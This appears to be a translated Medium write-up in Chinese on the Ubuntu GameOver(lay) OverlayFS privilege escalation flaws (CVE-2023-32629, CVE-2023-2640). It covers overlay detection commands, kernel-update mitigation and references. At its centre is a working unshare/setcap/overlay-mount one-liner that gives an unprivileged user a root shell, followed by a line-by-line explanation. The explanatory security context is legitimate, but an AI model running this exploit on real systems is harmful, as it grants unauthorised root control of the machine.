Ubuntu 本地提权漏洞 GameOver(lay):深入剖析 CVE-2023–32629 与 CVE-2023–2640

27 阅读4分钟

Ubuntu GameOver(lay) 本地权限提升漏洞:CVE-2023–32629 与 CVE-2023–2640

漏洞 CVE-2023–32629 和 CVE-2023–2640 均是在 Ubuntu 内核的 OverlayFS 模块中被发现的。这里提供了一个简单的概念验证(PoC)来检查您的 Ubuntu 系统是否易受攻击,以及如何修复。

CVE-2023–2640

此漏洞涉及特定的 Ubuntu 内核,这些内核允许非特权用户在挂载的文件上设置特权扩展属性,而无需经过适当的安全检查。本质上,非特权用户可以在挂载的文件上设置特权扩展属性,导致这些属性在未经适当安全检查的情况下被设置在上层文件中,这可能引发未授权访问或其他未指定的影响。

参考nvd.nist.gov/vuln/detail…

CVE-2023–32629

这是一个本地权限提升漏洞,在 Ubuntu 内核上执行某些操作时会跳过权限检查。更具体地说,该漏洞存在于 OverlayFS 的 ovl_copy_up_meta_inode_data 函数中,当在 Ubuntu 内核上调用 ovl_do_setxattr 时会跳过权限检查。

参考www.tenable.com/cve/CVE-202…

获取 0xRave 的最新文章 通过免费加入 Medium 来接收此作者的更新。 订阅订阅 access.redhat.com/security/cv…

影响

这两个漏洞都可能导致本地权限提升,使得非特权用户能够在系统上获得提升的权限。这是一个严重问题,因为攻击者可以利用其已有的基本访问权限将权限提升至 root 级别,从而获得对受影响系统的完全控制。

概念验证(PoC)载荷

以下载荷用于检查 ubuntu 是否支持或正在运行 overlay。

# 检查模块是否已加载
lsmod | grep overlay

# 检查模块是否可用
modinfo overlay

# 检查文件系统类型
mount | grep overlay

截图来自运行 22.04.2 Ubuntu 的 HTB 分析机

# 请确保以较低权限用户运行此载荷,您可以将 /bin/bash 替换为其他命令。
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'

权限提升成功。

载荷解释

  • unshare -rm

    • unshare 是一个命令,允许你在新的命名空间中运行程序。命名空间是 Linux 内核的一个功能,用于分区内核资源,使得一组进程看到一组资源,而另一组进程看到另一组隔离的资源。
    • -r 选项创建一个新的用户命名空间,并将用户映射到新命名空间中的 root。
    • -m 选项创建一个新的挂载命名空间,意味着在此命名空间内进行的任何挂载操作不会被外部的进程看到。
  • sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;

    • 这会调用一个新的 shell (sh) 来执行 -c 后面提供的命令字符串。
    • mkdir l u w m 创建四个名为 luwm 的目录。
    • cp /u*/b*/p*3 l/ 这个命令复制一个 Python3 二进制文件(基于模式 /u*/b*/p*3)到 l 目录。
  • setcap cap_setuid+eip l/python3;

    • setcap 用于在二进制文件上设置能力(capabilities)。
    • cap_setuid 允许二进制文件更改其 UID(用户标识符)。
    • +eip 确保该能力是有效(effective)、可继承(inheritable)和允许(permitted)的。
    • 这个命令授予 l 目录中的 python3 二进制文件更改其用户 ID 的能力,从而有效地允许其成为任何用户,包括 root。
  • mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m

    • 这挂载了一个 overlay 文件系统。Overlay 文件系统允许你将一个目录(称为上层目录)覆盖在另一个目录(称为下层目录)之上。
    • 在这里,它将目录 u 覆盖在 l 之上,使用 w 作为工作目录,并将生成的文件系统挂载到 m
  • touch m/*

    • 这个命令为 m 目录中存在的每个文件创建一个新的空文件。
  • u/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'

    • sh 命令序列完成后,这会从 u 目录运行一个 Python3 命令。
    • os.setuid(0) 将当前进程的用户 ID 设置为 0,即 root 的 UID。鉴于 Python3 二进制文件已被授予 cap_setuid 能力,它可以有效地将其 UID 更改为 root。
    • os.system("/bin/bash") 启动一个新的 bash shell。由于进程的用户 ID 刚刚被设置为 root,这个 bash shell 将以 root 权限运行。

载荷参考www.reddit.com/r/selfhoste… github.com/g1vi/CVE-20…

缓解措施

更新 Ubuntu 内核版本。

参考ubuntu.com/security/no… thesecmaster.com/how-to-fix-…

参考www.crowdstrike.com/blog/crowds… www.wiz.io/blog/ubuntu… (这是一篇很好的读物) nvd.nist.gov/vuln/detail… nvd.nist.gov/vuln/detail… CSD0tFqvECLokhw9aBeRqvv8hd32qP6+f9dIJtkMl6ZFs1rL08r585eYN9L8NlnpHJxv1v4NRuGnLc3c2zdNlqmALpNbNm2zJfiH2htFkEaA1EcFOo1vKQSxewrwb5EZ/Z6zNYqu07XwbNTCiBXciGQ1TvNQA7S8iZ31SzC2dpw=